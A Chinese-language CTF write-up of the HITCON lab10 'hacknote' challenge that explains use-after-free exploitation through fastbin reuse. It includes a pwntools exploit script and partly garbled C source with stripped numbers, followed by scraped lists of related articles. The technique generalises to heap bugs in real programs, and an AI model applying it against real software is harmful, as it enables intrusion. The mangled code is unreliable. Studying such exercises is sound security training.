本文系pwn2web原创,转载请说明出处

UAF 漏洞,英文原名use after free,该漏洞简洁的可以概括为

  1. 分配一块内存
  2. free该内存但不回收,构成悬垂指针
  3. 再次构造分配同样大小的内存,按照malloc分配原则将会是将第一次分配的内存给这块新的
  4. 对新的内存进行use

一    前言

首先我们以一道题来介绍一下UAF,这里选用hitcon training lab10 作为例子,源码太多,占篇幅,试题、源码详情请见的GitHubhttps://github.com/scwuaptx/HITCON-Training/tree/master/LAB/lab10 中的c语言文件。

这里先直接附上exp,网上大部分exp都差不多,但是有一些疑点我得说一下:

  • magic函数地址咋来的
  • 非预期解:创建1个note也能getshell
 from pwn import *

 r = process('./hacknote')

 def addnote(size, content):
r.recvuntil(":")
r.sendline("")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content) def delnote(idx):
r.recvuntil(":")
r.sendline("")
r.recvuntil(":")
r.sendline(str(idx)) def printnote(idx):
r.recvuntil(":")
r.sendline("")
r.recvuntil(":")
r.sendline(str(idx)) #gdb.attach(r)
magic = 0x08048986 addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1 delnote(0) # delete note 0
delnote(1) # delete note 1 addnote(8, p32(magic)) # add note 2 printnote(0) # print note 0 r.interactive()

1、我看了大部分博客,都没有给出magic地址从哪来。。。给爷整懵了。。无中生magic是了。。。

俺这里有个法子弄到这个地址:

看到pdisas这个神奇的反汇编指令了咩,第一行地址就是magic的开始地址,这里我也尝试了一下下断点到magic函数,即b magic,然后你看到,这个断点是在上面汇编显示的地址的第四行,我们来看看其他的函数:add_note

所以你可以看到,gdb中的下断点一般是下在开栈的地址。

总之,最起码我们找到一个很好的方法来寻找地址对不。

2、再就是为啥子要预先创建两个note?我先附上创建一个note的exp和运行结果,下面我会细细讨论

二  分析

下面我们再来一步步分析:

按这篇文章开头的几个步骤来寻找

0x00 结构体定义如下:

 struct note {
void (*printnote)();
char *content ;
};

不写入content的初始大小为16字节:

为什么是16字节,这里有个字节对齐的原因,void对应4字节,char按道理对应1字节,为什么是4字节?因为void,字节对齐,各位请谷歌自行查询。

4(PUT指针)+4(content指针)就是8,再加上8字节chunk头部,就是16字节。

0x01  首先是分配内存,整个程序具备这个功能的就是add_note:

 void add_note(){
int i ;
char buf[];
int size ;
if(count > ){
puts("Full");
return ;
}
for(i = ; i < ; i ++){
if(!notelist[i]){
notelist[i] = (struct note*)malloc(sizeof(struct note));
if(!notelist[i]){
puts("Alloca Error");
exit(-);
}
notelist[i]->printnote = print_note_content;
printf("Note size :");
read(,buf,);
size = atoi(buf);
notelist[i]->content = (char *)malloc(size);
if(!notelist[i]->content){
puts("Alloca Error");
exit(-);
}
printf("Content :");
read(,notelist[i]->content,size);
puts("Success !");
count++;
break;
}
}
}

1、从第9行可以得知只能创建5个note

2、之后按照notelist的结构体大小创建note,再按照输入的大小为content申请内存,总体结构正如ctf wiki上的结构图

   +-----------------+
| put |
+-----------------+
| content | size
+-----------------+------------------->+----------------+
| real |
| content |
| |
+----------------+

上一部分我们说了该大小为16字节,堆的最小处理单元为chunk,那么根据堆分配规则,为fastbin chunk。什么是fastbin?我之后博文会去介绍

0x02 释放内存,整个代码中del_note具备释放内存功能

 void del_note(){
char buf[];
int idx ;
printf("Index :");
read(,buf,);
idx = atoi(buf);
if(idx < || idx >= count){
puts("Out of bound!");
_exit();
}
if(notelist[idx]){
free(notelist[idx]->content);
free(notelist[idx]);
puts("Success");
}
}

也就是第12、13行,先free content,再free notelist的头。

0x03 可利用执行函数magic

void magic(){
system("cat /home/hacknote/flag");
}

0x04 利用

因为我们要把第一次分配的内存释放然后第二次分配同样大小的内存进行复用,那么可以构造利用链:

add_note()-> add_note()-> delete_note()-> delete_note()-> add_note()

换句话说,分配和释放将按照此结构进行

malloc(0x20)-> malloc(0x20)-> free(0x8)-> free(0x20)-> free(0x8)-> free(0x20)-> malloc(0x8)-> malloc(0x8)

那么我们来介绍一下这个到底是做撒子

我们利用的是fastbin回收的不合并性,我要将put函数指针指向magic函数的地址。

fastbin如上图,0x10表示16字节,0x18表示24字节,0x20表示32字节,以此类推。每次分配完释放回收后将会放在对应的大小行上。

现在我知道的有:

1、notelist 的每个初始大小为16字节,对应fastbin的第一行,即0x10

2、那么如果我们要劫持put函数执行流,那么我们就需要构造一个8字节的content,这样加上头才能变成16字节,才有可能分配到put

3、我们可控的地方只有content部分,可以控制content部分的大小和值,因此我们只能在content中输入magic函数地址的值

因此我们设想:

1、如果我们构造一个note0,content大小为32,然后,free,再者继续创建一个note1,content大小为8(为了劫持put,须与出是头部分配内存相同),但是note1的头大小也是8,那么回收note0后fastbin结构就变成

  • 0x10: note0_head
  • 0x18: 0x0
  • 0x20: note0_content
  • 。。。。。。

然后note1_head就直接分配到了note0_head ,我寻思着note1_head也有put,那么直接用就好了噻,于是我就把note1_content改为magic函数地址,然后print_note(1),也能成功。

注意:然而,使用note1的put仅仅只是将指针指向magic函数,note1_head分配到了释放的内存,但是note1_content没有分配到释放的内存,因此其未对释放后再分配的内存进行修改,是直接利用,而不是释放再利用(UAF)

3、那么创建1个虽然行,但是不能算是UAF,那就用两个咯。因为fastbin是FILO,先进后出嘛,形象一点,看下图,头是note0_head,后面接上note1_head,然后取出来的时候从尾巴开始取,就是先取note1_head

  • 0x10: note1_head -> note0_head
  • 0x18: 0x0
  • 0x20: 0x0
  • ............

我们构造两个note再释放后,fastbin如下(content的大小我设为24):

  • 0x10: note1_head -> note0_head
  • 0x18: note1_content -> note0_head
  • 0x20: 0x0
  • ...........

紧接着我们创建note2,因为note2_head也要分配0x10行的内存块嘛,所以,在note2_head分配完(取出)note1_head后,还剩下note0_head, 那么note2_content大小设置为8,就可以分配到note0_head啦

三 总结

正确的此题做题流程为:静态审计源码,构造思路,动态调试找地址,编写exp

UAF漏洞:利用内存分配的特性操作分配的已释放使用过的内存块

UAF——use after free的更多相关文章

  1. 各浏览器抗uaf机制

    今年中旬,微软针对旗下ie浏览器中大量出现的uaf漏洞,对ie浏览器的安全机制进行了一个大幅度的升级,其中主要体现为隔离堆及延迟释放两个机制,顿时又将uaf漏洞的利用向上提升了一个大坎, 但是类似的对 ...

  2. UAF漏洞--iOS是越狱原理

    Use After Free UAF 就是 Use After Free的缩写,是一种比较常见的内存错误式利用.很多iOS的越狱都是利用的这种方法.在此简单的举个例子说明UAF出现的情况 代码说明一切 ...

  3. CVE-2010-0249 IE8 UAF漏洞分析

    CVE-2010-0249 [CNNVD]Microsoft Internet Explorer非法事件操作内存破坏漏洞(CNNVD-201001-153) Microsoft Internet Ex ...

  4. exim CVE-2017-16943 uaf漏洞分析

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这是最近爆出来的 exim 的一个 uaf 漏洞,可以进行远程代码 ...

  5. 见微知著(一):解析ctf中的pwn--Fast bin里的UAF

    在网上关于ctf pwn的入门资料和writeup还是不少的,但是一些过渡的相关知识就比较少了,大部分赛棍都是在不断刷题中总结和进阶的.所以我觉得可以把学习过程中的遇到的一些问题和技巧总结成文,供大家 ...

  6. UAF漏洞学习

    产生原因: UAF漏洞的成因是一块堆内存被释放了之后又被使用.又被使用指的是:指针存在(悬垂指针被引用).这个引用的结果是不可预测的,因为不知道会发生什么.由于大多数的堆内存其实都是C++对象,所以利 ...

  7. vmware漏洞之四:简评USE-AFTER-SILENCE: EXPLOITING A QUIETLY PATCHED UAF IN VMWARE

    转:https://www.zerodayinitiative.com/blog/2017/6/26/use-after-silence-exploiting-a-quietly-patched-ua ...

  8. UAF学习之Adobe reader CVE-2013-3346

    学习了UAF,分析了几个漏洞,同时,也熟悉了windbg的用法,收获挺大. 基本的UAF分析流程如下: i:找有漏洞的函数 ii:找到被释放对象的类型,以及被释放对象在内存中的位置 iii:理解对象的 ...

  9. pwnable.kr uaf之wp

    几乎都想要放弃了,感觉学了好久还是什么都不会,这个题好像很难的样子,有很多知识点需要补充一下: 1.[UAF]分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存.攻击者可 ...

  10. [03] HEVD 内核漏洞之UAF

    作者:huity出处:https://www.cnblogs.com/huity35/p/11240997.html版权:本文版权归作者所有.文章在博客园.个人博客同时发布.转载:欢迎转载,但未经作者 ...

随机推荐

  1. 模版——KMP

    #include <iostream> #include <cstdio> #include <cstring> ; int f[maxn]; char P[max ...

  2. linux 内核协助的探测

    Linux 内核提供了一个低级设施来探测中断号. 它只为非共享中断, 但是大部分能够在共 享中断状态工作的硬件提供了更好的方法来尽量发现配置的中断号.这个设施包括 2 个函 数, 在<linux ...

  3. H3C查看系统启动配置文件

  4. 【23.68%】【hdu 2871】Memory Control

    Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) Total Submission ...

  5. Sql Server知识点拨

    一.Sql Server异常捕获try catch 二.集增加与修改的存储过程 三.显示某一列中有重复值的行 转载自:https://www.cnblogs.com/527289276qq/

  6. layui框架实现多图片手动上传和随表单提交方法

    首先在官方文档并没有手动上传的说明文档,这里手动实现上传原理是:在表单中有三个按钮,分别是上传图片按钮.隐藏上传按钮.表单提交按钮,点击上传图片按钮之后,图片添加在前端但是并没有真正的上传,而是在点击 ...

  7. IntPtr、Struct 相互转换

    一般写c#代码基本用不到 相互转换 只有调用c++中的dll动态库的时候才用的到 struct转intptr public static IntPtr StructToIntPtr<T>( ...

  8. codeforces 1167B Lost Numbers

    传送门:https://codeforces.com/contest/1167/problem/B 题意: 交互题:现在你有6个数4, 8, 15, 16, 23, 42组成的某种组合,你可以询问系统 ...

  9. There is no Action mapped for namespace [/] and action name [login] associate解决办法 .

    写了一个JSP项目,在配置struts2时遇到了这个错误,在网上逛了一大圈后终于解决了这个问题.具体解决方法是: 1.struts.xml的名字和位置 这里特别提一点,很多人遇到这个错误都是名字错误, ...

  10. 理解C/C++的复杂声明

      理解C/C++的复杂声明        曾经碰到过让你迷惑不解.类似于int * (* (*fp1) (int) ) [10];这样的变量声明吗?本文将由易到难,一步一步教会你如何理解这种复C/C ...